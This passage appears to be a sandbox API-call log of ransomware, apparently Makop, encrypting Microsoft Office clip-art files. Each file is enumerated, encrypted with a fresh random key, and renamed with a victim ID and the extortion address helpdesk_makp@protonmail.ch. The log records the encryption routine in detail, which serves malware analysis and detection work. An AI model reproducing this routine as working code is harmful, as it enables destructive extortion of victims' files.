GetProcessHeap () returned 0x48a0000 [0163.608] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.608] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.609] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240695.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240695.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.611] CloseHandle (hObject=0xf0) returned 1 [0163.611] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc16dfe00, ftCreationTime.dwHighDateTime=0x1be9cd9, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xc16dfe00, ftLastWriteTime.dwHighDateTime=0x1be9cd9, nFileSizeHigh=0x0, nFileSizeLow=0x1aa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0240719.WMF", cAlternateFileName="")) returned 1 [0163.613] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF") returned 61 [0163.614] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.615] GetProcessHeap () returned 0x48a0000 [0163.615] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.615] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.615] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.615] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.620] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.620] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.620] GetProcessHeap () returned 0x48a0000 [0163.620] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.620] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.620] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.620] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.620] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.621] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.621] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.621] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.621] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.621] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.621] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1aa2, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1aa2, lpOverlapped=0x0) returned 1 [0163.623] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ab0, dwBufLen=0x1ab0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1ab0) returned 1 [0163.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.623] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1ab0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1ab0, lpOverlapped=0x0) returned 1 [0163.623] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.623] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1b84, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.623] SetEndOfFile (hFile=0xf0) returned 1 [0163.647] GetProcessHeap () returned 0x48a0000 [0163.647] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.647] GetProcessHeap () returned 0x48a0000 [0163.647] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.647] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.647] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0240719.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0240719.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.649] CloseHandle (hObject=0xf0) returned 1 [0163.649] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x28d89700, ftCreationTime.dwHighDateTime=0x1beb2f4, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x28d89700, ftLastWriteTime.dwHighDateTime=0x1beb2f4, nFileSizeHigh=0x0, nFileSizeLow=0x1498, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251301.WMF", cAlternateFileName="")) returned 1 [0163.649] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF") returned 61 [0163.650] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.651] GetProcessHeap () returned 0x48a0000 [0163.651] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.651] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.651] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.651] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.655] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.656] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.656] GetProcessHeap () returned 0x48a0000 [0163.656] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.656] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.656] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.656] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.656] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.656] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.656] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.656] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.657] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.657] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.657] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.657] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.658] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1498, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1498, lpOverlapped=0x0) returned 1 [0163.659] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0, dwBufLen=0x14a0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x14a0) returned 1 [0163.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.659] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x14a0, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x14a0, lpOverlapped=0x0) returned 1 [0163.659] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.659] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1574, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.660] SetEndOfFile (hFile=0xf0) returned 1 [0163.665] GetProcessHeap () returned 0x48a0000 [0163.665] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.666] GetProcessHeap () returned 0x48a0000 [0163.666] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.666] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.666] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251301.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251301.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.668] CloseHandle (hObject=0xf0) returned 1 [0163.668] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf384f00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xf384f00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x1232, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251871.WMF", cAlternateFileName="")) returned 1 [0163.668] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF") returned 61 [0163.668] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.669] GetProcessHeap () returned 0x48a0000 [0163.669] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.669] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.669] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.670] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xe, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xe, lpOverlapped=0x0) returned 1 [0163.674] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.674] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.674] GetProcessHeap () returned 0x48a0000 [0163.674] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.674] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.674] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.674] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.674] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.675] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.675] WriteFile (in: hFile=0xf0, lpBuffer=0x48c0640*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c0640*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.675] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.675] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.675] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3818, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.675] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.676] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.676] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x1232, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x1232, lpOverlapped=0x0) returned 1 [0163.677] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1240, dwBufLen=0x1240 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x1240) returned 1 [0163.677] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.677] WriteFile (in: hFile=0xf0, lpBuffer=0x6370020*, nNumberOfBytesToWrite=0x1240, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesWritten=0x6577aa8*=0x1240, lpOverlapped=0x0) returned 1 [0163.677] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.678] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x1314, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.678] SetEndOfFile (hFile=0xf0) returned 1 [0163.684] GetProcessHeap () returned 0x48a0000 [0163.684] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bbec8 | out: hHeap=0x48a0000) returned 1 [0163.684] GetProcessHeap () returned 0x48a0000 [0163.684] HeapFree (in: hHeap=0x48a0000, dwFlags=0x0, lpMem=0x48bdf90 | out: hHeap=0x48a0000) returned 1 [0163.684] wsprintfW (in: param_1=0x48c4f5c, param_2="%s.[%08X].[%s].%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop") returned 108 [0163.684] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251871.WMF.[4B2E4630].[helpdesk_makp@protonmail.ch].makop" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251871.wmf.[4b2e4630].[helpdesk_makp@protonmail.ch].makop")) returned 1 [0163.686] CloseHandle (hObject=0xf0) returned 1 [0163.686] FindNextFileW (in: hFindFile=0x48c70e8, lpFindFileData=0x6577b20 | out: lpFindFileData=0x6577b20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3db62a00, ftCreationTime.dwHighDateTime=0x1beb2f6, ftLastAccessTime.dwLowDateTime=0xbd5ab520, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3db62a00, ftLastWriteTime.dwHighDateTime=0x1beb2f6, nFileSizeHigh=0x0, nFileSizeLow=0x11b6, dwReserved0=0x0, dwReserved1=0x0, cFileName="J0251925.WMF", cAlternateFileName="")) returned 1 [0163.686] wsprintfW (in: param_1=0x6578570, param_2="%s\\%s" | out: param_1="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF") returned 61 [0163.686] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10\\J0251925.WMF" (normalized: "c:\\program files\\microsoft office\\media\\cagcat10\\j0251925.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xf0 [0163.689] GetProcessHeap () returned 0x48a0000 [0163.689] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x10) returned 0x48bdf90 [0163.689] CryptGenRandom (in: hProv=0x48bcc28, dwLen=0x10, pbBuffer=0x48bdf90 | out: pbBuffer=0x48bdf90) returned 1 [0163.689] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ac8 | out: lpNewFilePointer=0x0) returned 1 [0163.689] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ad8*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ad8*, lpNumberOfBytesWritten=0x6577aa8*=0xa, lpOverlapped=0x0) returned 1 [0163.694] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.694] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.694] GetProcessHeap () returned 0x48a0000 [0163.694] RtlAllocateHeap (HeapHandle=0x48a0000, Flags=0x0, Size=0x40) returned 0x48bbec8 [0163.694] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40, dwBufLen=0x40 | out: pbData=0x48bbec8*, pdwDataLen=0x6577a90*=0x40) returned 1 [0163.695] CryptDestroyKey (hKey=0x48c7128) returned 1 [0163.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48bbec8*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bbec8*, lpNumberOfBytesWritten=0x6577aa8*=0x40, lpOverlapped=0x0) returned 1 [0163.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ab0*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ab0*, lpNumberOfBytesWritten=0x6577aa8*=0x4, lpOverlapped=0x0) returned 1 [0163.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48bdf90*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48bdf90*, lpNumberOfBytesWritten=0x6577aa8*=0x10, lpOverlapped=0x0) returned 1 [0163.695] WriteFile (in: hFile=0xf0, lpBuffer=0x48c3e78*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x48c3e78*, lpNumberOfBytesWritten=0x6577aa8*=0x80, lpOverlapped=0x0) returned 1 [0163.695] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x6577ad0 | out: lpNewFilePointer=0x0) returned 1 [0163.695] WriteFile (in: hFile=0xf0, lpBuffer=0x6577ac0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x6577aa8, lpOverlapped=0x0 | out: lpBuffer=0x6577ac0*, lpNumberOfBytesWritten=0x6577aa8*=0x8, lpOverlapped=0x0) returned 1 [0163.696] CryptImportKey (in: hProv=0x48bcc28, pbData=0x48c3690, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x6577aac | out: phKey=0x6577aac*=0x48c7128) returned 1 [0163.696] CryptSetKeyParam (hKey=0x48c7128, dwParam=0x1, pbData=0x48bdf90, dwFlags=0x0) returned 1 [0163.696] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0163.696] ReadFile (in: hFile=0xf0, lpBuffer=0x6370020, nNumberOfBytesToRead=0x11b6, lpNumberOfBytesRead=0x6577ab4, lpOverlapped=0x0 | out: lpBuffer=0x6370020*, lpNumberOfBytesRead=0x6577ab4*=0x11b6, lpOverlapped=0x0) returned 1 [0163.697] CryptEncrypt (in: hKey=0x48c7128, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0, dwBufLen=0x11c0 | out: pbData=0x6370020*, pdwDataLen=0x6577a90*=0x11c0) returned 1 [0163.697] SetFilePointerEx (in: hFile=0xf0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 